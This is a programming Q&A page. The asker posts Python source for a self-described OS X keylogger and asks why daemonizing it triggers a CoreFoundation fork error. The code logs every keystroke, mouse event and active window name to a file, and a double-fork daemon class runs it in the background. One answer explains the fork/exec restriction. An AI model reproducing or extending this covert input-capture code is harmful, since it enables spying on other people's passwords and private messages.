Carto_
Carto_

Reputation: 597

OS X double fork - daemonize script

I'm encountering some issues in one of my projects. I'm trying to code kind of a keylogger in python, that works on OS X 10.8 (Mountain Lion). But I'm getting this error when I try to launch my script in background / as a process / daemonized.

The error :

The process has forked and you cannot use this CoreFoundation functionality safely. You MUST exec().
Break on __THE_PROCESS_HAS_FORKED_AND_YOU_CANNOT_USE_THIS_COREFOUNDATION_FUNCTIONALITY___​YOU_MUST_EXEC__() to debug.
The process has forked and you cannot use this CoreFoundation functionality safely. You MUST exec().
Break on __THE_PROCESS_HAS_FORKED_AND_YOU_CANNOT_USE_THIS_COREFOUNDATION_FUNCTIONALITY___​YOU_MUST_EXEC__() to debug.
The process has forked and you cannot use this CoreFoundation functionality safely. You MUST exec().
Break on __THE_PROCESS_HAS_FORKED_AND_YOU_CANNOT_USE_THIS_COREFOUNDATION_FUNCTIONALITY___​YOU_MUST_EXEC__() to debug.
The process has forked and you cannot use this CoreFoundation functionality safely. You MUST exec().
Break on __THE_PROCESS_HAS_FORKED_AND_YOU_CANNOT_USE_THIS_COREFOUNDATION_FUNCTIONALITY___​YOU_MUST_EXEC__() to debug.
The process has forked and you cannot use this CoreFoundation functionality safely. You MUST exec().
Break on __THE_PROCESS_HAS_FORKED_AND_YOU_CANNOT_USE_THIS_COREFOUNDATION_FUNCTIONALITY___​YOU_MUST_EXEC__() to debug.

The Script

#!/usr/bin/env python
# -*- coding: UTF-8 -*-
from Daemon import Daemon

import sys
import os


import exceptions
import sys
from Foundation import NSObject, NSLog
from AppKit import NSApplication, NSApp, NSWorkspace
from Cocoa import *
from Quartz import CGWindowListCopyWindowInfo, kCGWindowListOptionOnScreenOnly, kCGNullWindowID
from PyObjCTools import AppHelper
import keycode


import exceptions
import sys
from Foundation import NSObject, NSLog
from AppKit import NSApplication, NSApp, NSWorkspace
from Cocoa import *
from Quartz import CGWindowListCopyWindowInfo, kCGWindowListOptionOnScreenOnly, kCGNullWindowID
from PyObjCTools import AppHelper
import keycode

evtypes = dict(
    NSLeftMouseDown     = 1,
    NSLeftMouseUp       = 2,
    NSRightMouseDown    = 3,
    NSRightMouseUp      = 4,
    NSMouseMoved        = 5,
    NSLeftMouseDragged  = 6,
    NSRightMouseDragged = 7,
    NSMouseEntered      = 8,
    NSMouseExited       = 9,
    NSKeyDown           = 10,
    NSKeyUp             = 11,
    NSFlagsChanged      = 12,
    NSAppKitDefined     = 13,
    NSSystemDefined     = 14,
    NSApplicationDefined = 15,
    NSPeriodic          = 16,
    NSCursorUpdate      = 17,
    NSScrollWheel       = 22,
    NSTabletPoint       = 23,
    NSTabletProximity   = 24,
    NSOtherMouseDown    = 25,
    NSOtherMouseUp      = 26,
    NSOtherMouseDragged = 27
)

evtypes_rev = dict([[v,k] for k,v in evtypes.items()])

class Hooker(object):
    def __call__(self, *args, **kwargs):
        try:
            evt = kwargs.get('event')
            del kwargs['event'] 
            items = ' '.join( [ x[0]+"="+unicode(x[1]) for x in kwargs.iteritems()] )
            print "%20s | %22s | %s" % ( self.__class__.__name__, evtypes_rev[evt.type()], items)
            os.path.join(os.path.expanduser("~"), "Desktop")
            fichier = open("MY_TEXT_FILE.txt", "a")
            fichier.write("%20s | %22s | %s" % ( self.__class__.__name__, evtypes_rev[evt.type()], items))
            fichier.close()
        except Exception as e:
            print 'Horrific error!', e
            AppHelper.stopEventLoop()
            sys.exit(0)

class KeyHooker(Hooker): pass
class MouseButtonHooker(Hooker): pass
class MouseMoveHooker(Hooker): pass
class ScreenHooker(Hooker): pass

class SniffCocoa:

    def __init__(self):

        self.key_hook = KeyHooker()
        self.mouse_button_hook = MouseButtonHooker()
        self.mouse_move_hook = MouseMoveHooker()
        self.screen_hook = ScreenHooker()
        self.currentApp = None

    def createAppDelegate (self) :

        sc = self
        class AppDelegate(NSObject):
            def applicationDidFinishLaunching_(self, notification):
                mask = (
                          NSKeyDownMask 
                        | NSKeyUpMask
                        | NSLeftMouseDownMask 
                        | NSLeftMouseUpMask
                        | NSRightMouseDownMask 
                        | NSRightMouseUpMask
                        | NSMouseMovedMask 
                        | NSScrollWheelMask
                       )
                NSEvent.addGlobalMonitorForEventsMatchingMask_handler_(mask, sc.handler)
        return AppDelegate

    def run(self):
        NSApplication.sharedApplication()
        delegate = self.createAppDelegate().alloc().init()
        NSApp().setDelegate_(delegate)
        self.workspace = NSWorkspace.sharedWorkspace()
        AppHelper.runEventLoop()

    def cancel(self):
        AppHelper.stopEventLoop()

    def handler(self, event):

        try:
            activeApps = self.workspace.runningApplications()
            for app in activeApps:
                if app.isActive():
                    if app.localizedName() != self.currentApp:
                        self.currentApp = app.localizedName()
                        options = kCGWindowListOptionOnScreenOnly 
                        windowList = CGWindowListCopyWindowInfo(options, kCGNullWindowID)

                        for window in windowList:
                            if window['kCGWindowOwnerName'] == self.currentApp:
                                geom = window['kCGWindowBounds'] 
                                self.screen_hook( event=event,
                                                name = window['kCGWindowName'],
                                                owner = window['kCGWindowOwnerName'],
                                                x = geom['X'], 
                                                y = geom['Y'], 
                                                w = geom['Width'], 
                                                h = geom['Height'])
                                break
                    break

            loc = NSEvent.mouseLocation()

            # mouse clicky buttons
            if event.type() in ( NSLeftMouseDown, NSRightMouseDown, NSLeftMouseUp, NSRightMouseUp):
                self.mouse_button_hook(event=event, x=loc.x, y=loc.y)

            # mouse scrolly buttons 
            elif event.type() == NSScrollWheel:
                if event.deltaY() > 0 and event.deltaY() < 0:
                    self.mouse_button_hook(event=event, x=loc.x, y=loc.y)
                if event.deltaX() > 0 and event.deltaX() < 0:
                    self.mouse_button_hook(event=event, x=loc.x, y=loc.y)

            # keys down
            elif event.type() in ( NSKeyDown, NSKeyUp ):

                flags = event.modifierFlags()
                modifiers = [] # OS X api doesn't care it if is left or right
                if (flags & NSControlKeyMask):
                    modifiers.append('CONTROL')
                if (flags & NSAlternateKeyMask):
                    modifiers.append('ALTERNATE')
                if (flags & NSCommandKeyMask):
                    modifiers.append('COMMAND')

                self.key_hook(event=event, key=event.keyCode(), char=keycode.tostring( event.keyCode() ), mods=modifiers, is_repeat=event.isARepeat())

            # Mouse moved
            elif event.type() == NSMouseMoved:
                self.mouse_move_hook(event=event, x=loc.x, y=loc.y)
            else:
                pass

        except ( KeyboardInterrupt ) as e:
            print 'handler', e
            AppHelper.stopEventLoop()





class pantalaimon(Daemon):
    def run(self):
        x = 0
        while True:
                sc = SniffCocoa()
                sc.run()


if __name__ == "__main__":
        daemon = pantalaimon('daemon-example.pid')
        if len(sys.argv) == 2:
                if 'start' == sys.argv[1]:
                        daemon.start()
                elif 'stop' == sys.argv[1]:
                        daemon.stop()
                elif 'restart' == sys.argv[1]:
                        daemon.restart()
                else:
                        print "Unknown command"
                        sys.exit(2)
                sys.exit(0)
        else:
                print "usage: %s start||stop||restart" % sys.argv[0]
                sys.exit(2)

The Daemon Class that we import :

#!/usr/bin/env python
# -*- coding: UTF-8 -*-
'''
    ***
    Modified generic daemon class
    ***

    Author:     http://www.jejik.com/articles/2007/02/a_simple_unix_linux_daemon_in_python/
                www.boxedice.com

    License:     http://creativecommons.org/licenses/by-sa/3.0/

    Changes:    23rd Jan 2009 (David Mytton <[email protected]>)
                - Replaced hard coded '/dev/null in __init__ with os.devnull
                - Added OS check to conditionally remove code that doesn't work on OS X
                - Added output to console on completion
                - Tidied up formatting 
                11th Mar 2009 (David Mytton <[email protected]>)
                - Fixed problem with daemon exiting on Python 2.4 (before SystemExit was part of the Exception base)
                13th Aug 2010 (David Mytton <[email protected]>
                - Fixed unhandled exception if PID file is empty
'''

# Core modules
import atexit
import os
import sys
import time
import signal


class Daemon(object):
    """
    A generic daemon class.

    Usage: subclass the Daemon class and override the run() method
    """
    def __init__(self, pidfile, stdin=os.devnull, stdout=os.devnull, stderr=os.devnull, home_dir='.', umask=022, verbose=1):
        self.stdin = stdin
        self.stdout = stdout
        self.stderr = stderr
        self.pidfile = pidfile
        self.home_dir = home_dir
        self.verbose = verbose
        self.umask = umask
        self.daemon_alive = True

    def daemonize(self):
        """
        Do the UNIX double-fork magic, see Stevens' "Advanced 
        Programming in the UNIX Environment" for details (ISBN 0201563177)
        http://www.erlenstar.demon.co.uk/unix/faq_2.html#SEC16
        """
        try: 
            pid = os.fork() 
            if pid > 0:
                # Exit first parent
                sys.exit(0) 
        except OSError, e: 
            sys.stderr.write("fork #1 failed: %d (%s)\n" % (e.errno, e.strerror))
            sys.exit(1)

        # Decouple from parent environment
        os.chdir(self.home_dir)
        os.setsid() 
        os.umask(self.umask)

        # Do second fork
        try: 
            pid = os.fork() 
            if pid > 0:
                # Exit from second parent
                sys.exit(0) 
        except OSError, e: 
            sys.stderr.write("fork #2 failed: %d (%s)\n" % (e.errno, e.strerror))
            sys.exit(1) 

        if sys.platform != 'darwin': # This block breaks on OS X
            # Redirect standard file descriptors
            sys.stdout.flush()
            sys.stderr.flush()
            si = file(self.stdin, 'r')
            so = file(self.stdout, 'a+')
            if self.stderr:
                se = file(self.stderr, 'a+', 0)
            else:
                se = so
            os.dup2(si.fileno(), sys.stdin.fileno())
            os.dup2(so.fileno(), sys.stdout.fileno())
            os.dup2(se.fileno(), sys.stderr.fileno())

        def sigtermhandler(signum, frame):
            self.daemon_alive = False
        signal.signal(signal.SIGTERM, sigtermhandler)
        signal.signal(signal.SIGINT, sigtermhandler)

        if self.verbose >= 1:
            print "Started"

        # Write pidfile
        atexit.register(self.delpid) # Make sure pid file is removed if we quit
        pid = str(os.getpid())
        file(self.pidfile,'w+').write("%s\n" % pid)

    def delpid(self):
        os.remove(self.pidfile)

    def start(self, *args, **kwargs):
        """
        Start the daemon
        """

        if self.verbose >= 1:
            print "Starting..."

        # Check for a pidfile to see if the daemon already runs
        try:
            pf = file(self.pidfile,'r')
            pid = int(pf.read().strip())
            pf.close()
        except IOError:
            pid = None
        except SystemExit:
            pid = None

        if pid:
            message = "pidfile %s already exists. Is it already running?\n"
            sys.stderr.write(message % self.pidfile)
            sys.exit(1)

        # Start the daemon
        self.daemonize()        
        self.run(*args, **kwargs)

    def stop(self):
        """
        Stop the daemon
        """

        if self.verbose >= 1:
            print "Stopping..."

        # Get the pid from the pidfile
        try:
            pf = file(self.pidfile,'r')
            pid = int(pf.read().strip())
            pf.close()
        except IOError:
            pid = None
        except ValueError:
            pid = None

        if not pid:
            message = "pidfile %s does not exist. Not running?\n"
            sys.stderr.write(message % self.pidfile)

            # Just to be sure. A ValueError might occur if the PID file is empty but does actually exist
            if os.path.exists(self.pidfile):
                os.remove(self.pidfile)

            return # Not an error in a restart

        # Try killing the daemon process    
        try:
            while 1:
                os.kill(pid, signal.SIGTERM)
                time.sleep(0.1)
        except OSError, err:
            err = str(err)
            if err.find("No such process") > 0:
                if os.path.exists(self.pidfile):
                    os.remove(self.pidfile)
            else:
                print str(err)
                sys.exit(1)

        if self.verbose >= 1:
            print "Stopped"

    def restart(self):
        """
        Restart the daemon
        """
        self.stop()        
        self.start()

    def run(self):
        """
        You should override this method when you subclass Daemon. It will be called after the process has been
        daemonized by start() or restart().
        """

Thanks in advance for your help !

Upvotes: 0

Views: 719

Answers (1)

Jonathan Rogers
Jonathan Rogers

Reputation: 46

As the error says, the child of a fork() cannot carry on however it wants if you're using CoreFoundation libraries, which you clearly import before calling fork(). Unless you call os.exec() in the child process, you will run into the signal you mentioned. Obviously, that severely limits the usefulness of fork() so you probably need to find a different method for daemonizing.

I only know of this problem indirectly since while I don't use OSX, my coworkers complain about this problem when I write a Python program that uses os.fork(). Apparently, some Python standard libraries use CoreFoundation so you can't necessarily avoid this problem even if you don't use it directly. You may have to avoid os.fork() entirely on OSX.

In case it's not clear, this is not a defect in CPython but rather the OSX system libraries which Python uses. Given aspects like this which are clearly inconsistent with Unix tradition, it's especially ironic that OSX is officially UNIX® according to the trademark holder but GNU/Linux and other Free Unix-like operating systems are not.

Upvotes: 1

Related Questions